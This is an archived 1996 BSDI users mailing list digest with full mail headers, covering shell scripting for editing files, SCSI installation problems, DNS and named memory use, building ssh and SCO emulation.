> echo -n $file "has been updated.\n" > done > > >-- > How did I do? > I would be leary of using mv on a non-replacible file. I would use cp and test the results before blowing away the only good data I have. It might not be a bad idea to copy the original before doing anything to it too. Just my $.02 -- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | Kent Ketell First Data Corporation | | Systems Administrator Electronic Funds Services | | Email: Kent_Ketell@firstdata.com | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ The views and comments above are strictly my own. From VM Wed Nov 20 22:27:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["349" "Wed" "20" "November" "1996" "20:19:00" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "18" "Re: Newfs for a SCSI Quantum fireball 1080S" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA18967 for ; Wed, 20 Nov 1996 22:07:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA19024 for bsdi-users-outgoing; Wed, 20 Nov 1996 22:09:09 -0500 (EST) Message-Id: <199611210319.UAA02038@doctor.nl2k.edmonton.ab.ca> In-Reply-To: <01bbd6e4$36a82f60$081815cb@ii.net.voyager.co.nz> from "cesar" at Nov 21, 96 01:14:13 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: cesar@voyager.co.nz (cesar) Cc: bsdi-users@BSDI.COM Subject: Re: Newfs for a SCSI Quantum fireball 1080S Date: Wed, 20 Nov 1996 20:19:00 -0700 (MST) > > > > Hi' all, > > I am trying to format a 2.1 Gb.SCSI Quantum Fireball 1080s into one > partition. > > Using newfs command, can anyone please tell me the optimum configuration > for block and fragment size, number of inode's for that particular > drive???? > > > Thank you very much... > Try scsicmd if yu make a mess on the first go. From VM Thu Nov 21 17:28:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1678" "Wed" "20" "November" "1996" "20:09:56" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "47" "Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA20850 for ; Wed, 20 Nov 1996 23:18:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA19151 for bsdi-users-outgoing; Wed, 20 Nov 1996 23:10:47 -0500 (EST) Message-Id: <3.0.1.32.19961120200751.006acf2c@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Install problems Date: Wed, 20 Nov 1996 20:09:56 -0800 I have an interesting problem... I have been successful in installing 2.1 on multiple systems from various vendors, but am having problems installing on my system at home. Here is the scenario: I boot from the install disk. no problem I go through the entire install process. no problem I reboot the system. problem... On reboot, as soon as the system hits the hard disk it looks back to the floppy and locks up tight. Hardware config: Tyan 1662 PPro 180MHz w/64MB RAM (same board works fine at work) either Adaptec 2940 or Buslogic 946C (both behave exactly the same) either Conner CFP2107S, Seagate ST32430N or Quantum VP32170 (they all do it) Internal SCSI is terminated with an active terminator on the end of the ribbon. External SCSI is terminated with on a Tandberg TDC 4100 tape drive using the internal terminator (the only one available) There is a Syquest EZ135 SCSI external. The SCSI IDs are set as follows: Boot disk is always 0 Syquest EZ135 is 4 Tandberg Tape is 6 Controller is 7 Video is not the problem because it has done it with multiple adapters. The whole system works just fine under Linux96, WinNT 3.51 or 4.0 and Win95 using separate disks for each O/S. Any ideas? -- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | Kent Ketell First Data Corporation | | Systems Administrator Electronic Funds Services | | Email: Kent_Ketell@firstdata.com | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ The views and comments above are strictly my own. From VM Thu Nov 21 17:28:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["169" "Wed" "20" "November" "1996" "23:12:21" "-0500" "Brian Backer" "bbacker@blink.net" nil "6" "licence." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA20855 for ; Wed, 20 Nov 1996 23:19:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA19196 for bsdi-users-outgoing; Wed, 20 Nov 1996 23:20:44 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: licence. Date: Wed, 20 Nov 1996 23:12:21 -0500 (EST) I would like to set up another bsdi box in my office, but I dont want to spend the tons of money for a new licence. What is the most productive way. thanks alot :) From VM Thu Nov 21 17:28:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2131" "Wed" "20" "November" "1996" "23:14:32" "-0500" "Brian Backer" "bbacker@blink.net" nil "58" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA20859 for ; Wed, 20 Nov 1996 23:23:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA19202 for bsdi-users-outgoing; Wed, 20 Nov 1996 23:23:07 -0500 (EST) In-Reply-To: <3.0.1.32.19961120200751.006acf2c@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: Install problems Date: Wed, 20 Nov 1996 23:14:32 -0500 (EST) If it is the Buslogic card, then the problem is far to familiar. There is a setting in the card's bios that needs adjusted. It specifies this somewhere in the map toward the beginnning in one of the sections that has footnotes I believe. I would tell you exactly where but I dont have my book handy. Sorry On Wed, 20 Nov 1996, Kent Ketell wrote: > I have an interesting problem... > > I have been successful in installing 2.1 on multiple systems > from various vendors, but am having problems installing on my > system at home. Here is the scenario: > > I boot from the install disk. no problem > I go through the entire install process. no problem > I reboot the system. problem... > > On reboot, as soon as the system hits the hard disk it looks > back to the floppy and locks up tight. > > Hardware config: > > Tyan 1662 PPro 180MHz w/64MB RAM (same board works fine at work) > either Adaptec 2940 or Buslogic 946C (both behave exactly the same) > either Conner CFP2107S, Seagate ST32430N or Quantum VP32170 (they all > do it) > Internal SCSI is terminated with an active terminator on the end of > the ribbon. > External SCSI is terminated with on a Tandberg TDC 4100 tape drive > using the internal terminator (the only one available) > There is a Syquest EZ135 SCSI external. > The SCSI IDs are set as follows: > Boot disk is always 0 > Syquest EZ135 is 4 > Tandberg Tape is 6 > Controller is 7 > Video is not the problem because it has done it with multiple adapters. > > The whole system works just fine under Linux96, WinNT 3.51 or 4.0 and > Win95 using separate disks for each O/S. > > Any ideas? > > > -- > > +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ > | Kent Ketell First Data Corporation | > | Systems Administrator Electronic Funds Services | > | Email: Kent_Ketell@firstdata.com | > +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ > > The views and comments above are strictly my own. > From VM Thu Nov 21 17:28:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["701" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "23" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA21128 for ; Wed, 20 Nov 1996 23:29:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA19247 for bsdi-users-outgoing; Wed, 20 Nov 1996 23:29:02 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:28:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3881" "Wed" "20" "November" "1996" "23:58:56" "-0500" "Ralph Saunders" "ralph@falcon.keystone.com" nil "92" "Re: An easy way to remove a line from a file. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA21942 for ; Thu, 21 Nov 1996 00:03:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA19308 for bsdi-users-outgoing; Wed, 20 Nov 1996 23:58:16 -0500 (EST) Message-Id: <199611210458.XAA25701@falcon.keystone.com> In-reply-to: Your message of "Thu, 21 Nov 1996 13:16:02 +1100." Precedence: bulk From: Ralph Saunders Sender: owner-bsdi-users@lists.gateway.com To: Ross Wheeler cc: Jeff Campbell , mazz , bsdi-users@BSDI.COM, ralph@falcon.keystone.com Subject: Re: An easy way to remove a line from a file. Date: Wed, 20 Nov 1996 23:58:56 -0500 > > > >> I'm looking for an easy way (hopefully a little c-shell command) > >> that can be used to remove a line from a file. I keep a list of user > >> names in a few different files. When I remove a user from my file setup > >> I want to remove them from 2-3 different files. There's got to be an > >> easy command or simple shell script that I can pass an email address to > >> and it'll remove those users from all three files. > > > > Off the top of my head, try: > > > > #!/bin/sh > > path="/tmp" > > filelist="/path/of/text/file/containing/filelist" > [stuff deleted] > > for file in `cat filelist` > > do > > grep -v $1 $file > $path/temp.file > > > > # Move the file from /tmp over top of the original file > > mv $path/temp.file $file > > echo -n $file "has been updated.\n" > > done > > > Excuse my ignorance, and I know "purists" hate unnecessary pipes, but > I've seen several replies now with the: > scan original file > extract non-required line(s) > write temp file > rename temp file to original file > > What's wrong with using a pipe to write something like: > > for FILE in `cat filelist` > do > cat $FILE | grep -v $1 > $FILE > echo File $FILE done. > done > > If you were writing to /tmp anyhow, it's not like the pipe is going to > fill up anywhere more critical, and (in my opinion) it's more easily read! > > NOTE: I have not tried this particular example, but the pipe "should" > protect the original file from being overwritten (lost) before the grep > runs, yes? > It also prevents the disasterous situation of two people running your > script on different sessions at the same time, thus clobbering the tmp > file, because the pipe will write a unique intermediate name. Pitty if > they both happen to be working on the same file at the same time though > :-) > > Comments? > > RossW I just tried "cat /tmp/foo | grep -v fred > /tmp/foo" using ksh, csh, and sh. Both ksh and csh stepped on /tmp/foo, but sh did not. I suspect that ksh and csh open the output /tmp/foo before cat opens the input /tmp/foo, while sh waits until cat and grep have run before opening the output /tmp/foo file (This is just a guess because I don't feel like searching through source code at the moment). "Purists" would probably argue that "cat /tmp/foo | grep -v fred > /tmp/foo" creates one more process and one more temp file than "grep -v fred /tmp/foo > /tmp/foo" would, and is therefore inefficent. YMMV. 8^) However, the problem with both approaches is that there is no error checking. In the original example if the file system that $path/temp.file is on is full, or fills up before the grep has completed, the mv will move an incomplete file over the original. In the second example the same sort of thing could happen with the temp file, although the shell might detect this and "do the right thing" by exiting before opening the output /tmp/foo file (again, I don't feel like perusing source at the moment). As for the situation where two people run the script at the same time, the "pipe" solution would prevent the temp files from being stepped on, but a race condition could occur in either of the shell scripts that would negate one of the updates. ralph ============================================================================== |> <| |> Ralph Saunders Internet: ralph@keystone.com <| |> Keystone Software, Inc. <| |> Springfield, VA <| |> <| ============================================================================== From VM Thu Nov 21 17:28:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1697" "Wed" "20" "November" "1996" "21:08:50" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "46" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA22210 for ; Thu, 21 Nov 1996 00:13:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA19354 for bsdi-users-outgoing; Thu, 21 Nov 1996 00:14:03 -0500 (EST) Message-Id: <199611210508.VAA08176@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: jacampbe@is2.dal.ca, rossw@albury.net.au Cc: bsdi-users@BSDI.COM, system3@infomine.net Subject: Re: An easy way to remove a line from a file. Date: Wed, 20 Nov 1996 21:08:50 -0800 (PST) ... > Excuse my ignorance, and I know "purists" hate unnecessary pipes, but > I've seen several replies now with the: > scan original file > extract non-required line(s) > write temp file > rename temp file to original file > > What's wrong with using a pipe to write something like: > > for FILE in `cat filelist` > do > cat $FILE | grep -v $1 > $FILE > echo File $FILE done. > done > > If you were writing to /tmp anyhow, it's not like the pipe is going to > fill up anywhere more critical, and (in my opinion) it's more easily read! > > NOTE: I have not tried this particular example, but the pipe "should" > protect the original file from being overwritten (lost) before the grep > runs, yes? No. The shell does a create on the file (for the >$FILE part of the command before the cat and grep commands execute. The result is that cat reads an empty file and $FILE ends up being empty. > It also prevents the disasterous situation of two people running your > script on different sessions at the same time, thus clobbering the tmp > file, because the pipe will write a unique intermediate name. Pitty if > they both happen to be working on the same file at the same time though > :-) > Typically one uses a temporary file based on the name of the original file or one uses $$ to construct a name based on the process id in /tmp. This avoids conflicts in most cases (one can usually construct a case where a simple mechanism fails or isn't the most efficient). Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Thu Nov 21 17:28:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["703" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "25" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA23549 for ; Thu, 21 Nov 1996 01:05:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA19510 for bsdi-users-outgoing; Thu, 21 Nov 1996 01:04:57 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:28:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["803" "Wed" "20" "November" "1996" "22:17:39" "-0800" "patrick@value.net" "patrick@value.net" nil "21" "Re: named and high CPU usage solved!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA23825 for ; Thu, 21 Nov 1996 01:15:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA19608 for bsdi-users-outgoing; Thu, 21 Nov 1996 01:17:54 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: Jim Hribnak cc: bsdi-users@BSDI.COM Subject: Re: named and high CPU usage solved! Date: Wed, 20 Nov 1996 22:17:39 -0800 (PST) On Wed, 20 Nov 1996, Jim Hribnak wrote: > > > Even with 32 megs of ram in my 2.1 system the newest BIND would nearly > halt my system (I think due to high SWAPPING or something) when the named > got to about 10 meg in size... We upgraded the machine to a P166 with 128 > megs of ram and I have had named upto about 15 meg in size and the CPU did > not overload and go through the roof.. seems I was swapping more than I > realized.. Try pstat -s to see just how much you are swapping... /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Thu Nov 21 17:28:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["882" "Wed" "20" "November" "1996" "22:20:48" "-0800" "patrick@value.net" "patrick@value.net" nil "21" "Re: ssh on BSDI 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA23830 for ; Thu, 21 Nov 1996 01:16:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA19635 for bsdi-users-outgoing; Thu, 21 Nov 1996 01:21:07 -0500 (EST) In-Reply-To: <1.5.4.32.19961120191156.002f4244@mailhub.hcl.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: Mike Frisch cc: bsdi-users@BSDI.COM Subject: Re: ssh on BSDI 2.1? Date: Wed, 20 Nov 1996 22:20:48 -0800 (PST) On Wed, 20 Nov 1996, Mike Frisch wrote: > I am looking for a precompiled binary of ssh on BSDI 2.1. They > claim support for earlier versions of BSDI, but it doesn't compile cleanly > on 2.1 because of some files not being adjusted properly by the > configuration scripts. I don't have time to make it work right now, but I'd > really like to utilize ssh. If anybody can help, I'd greatly appreciate it. If you don't have the time, than you must not need it enough. It compiles cleanly if you comment out the ask-pass (X-win) stuff. At least it does for me. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Thu Nov 21 17:28:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["705" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "27" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA29435 for ; Thu, 21 Nov 1996 03:25:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA21481 for bsdi-users-outgoing; Thu, 21 Nov 1996 03:19:12 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:28:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["915" "Thu" "21" "November" "1996" "10:09:40" "+0100" "Jos Backus" "jos@oce.nl" nil "25" "Re: SCO Emulation " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA01220 for ; Thu, 21 Nov 1996 04:30:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA21557 for bsdi-users-outgoing; Thu, 21 Nov 1996 04:20:21 -0500 (EST) >Return-Path: In-Reply-To: Your message of Wed, 20 Nov 1996 12:57:53 -0400. Message-Id: <7874.848567380@oce.nl> Content-Type: text Precedence: bulk From: Jos Backus Sender: owner-bsdi-users@lists.gateway.com To: JEFFREY ANDREW CAMPBELL Cc: bsdi-users@BSDI.COM Subject: Re: SCO Emulation Date: Thu, 21 Nov 1996 10:09:40 +0100 Hi Jeffrey, In message you wrote: > Has anyone out there had any experience (or preferably extensive >experience) using a BSD/OS box to support legacy SCO apps under the SCO >emulation support? We have been running the Progress RDBMS for several months now without problems, and when there were (and Progress turned out to be the one to blame for them) BSDI tech support was most helpful in resolving them (Hi Brett :) I have mailed Progress asking for a native version and got a 'Thanks, not now, maybe later' reply back. Hth, Jos -- Jos Backus _/ _/_/_/ R-IS/SNB _/ _/ _/ Oce-Nederland B.V. _/ _/_/_/ Venlo, The Netherlands _/ _/ _/ _/ jos@oce.nl _/_/ _/_/_/ #include From VM Thu Nov 21 17:28:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["410" "Thu" "21" "November" "1996" "20:41:31" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "12" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA01750 for ; Thu, 21 Nov 1996 04:43:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA21586 for bsdi-users-outgoing; Thu, 21 Nov 1996 04:43:15 -0500 (EST) In-Reply-To: Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: Thom Henderson Cc: BSDi Users Subject: Re: Dual Homing w/BSDI or 25xx? Date: Thu, 21 Nov 1996 20:41:31 +1100 (EST) On Wed, 20 Nov 1996, Thom Henderson wrote: > You see? There's the problem right there. A truly robust operating > system should not be vulnerable to external influences like a UPS failure. How many more !@#$% times are we going to see this? -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Thu Nov 21 17:28:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["707" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "29" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA03644 for ; Thu, 21 Nov 1996 06:03:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id FAA21627 for bsdi-users-outgoing; Thu, 21 Nov 1996 05:54:38 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:29:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["516" "Thu" "21" "November" "1996" "07:30:17" "+0100" "david@isdnet.net" "david@isdnet.net" nil "18" "Inn: articles no longer in history file" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA06114 for ; Thu, 21 Nov 1996 07:27:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA21727 for bsdi-users-outgoing; Thu, 21 Nov 1996 07:20:37 -0500 (EST) Message-Id: <199611210630.HAA25188@emma.isdnet.net> X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Inn: articles no longer in history file Date: Thu, 21 Nov 1996 07:30:17 +0100 (MET) I have a small problem with INN 1.4, on BSDI 2.1. I have articles which are no longer referenced in the history file. So, It seems that prevents those articles being expired (and I have 40 000 articles in misc.jobs.offered). How can I correct this , either by adding the lines in the history file, or by deleting the articles which message-id is not in history ? TIA. Regards. -- -- David Ponzone - ISDnet - Network Administrator -- Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Thu Nov 21 17:29:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1376" "Thu" "21" "November" "1996" "12:12:03" "GMT" "djn@enterprise.net" "djn@enterprise.net" nil "40" "DNS PROBLEMS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA06128 for ; Thu, 21 Nov 1996 07:29:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA21715 for bsdi-users-outgoing; Thu, 21 Nov 1996 07:12:15 -0500 (EST) Message-Id: 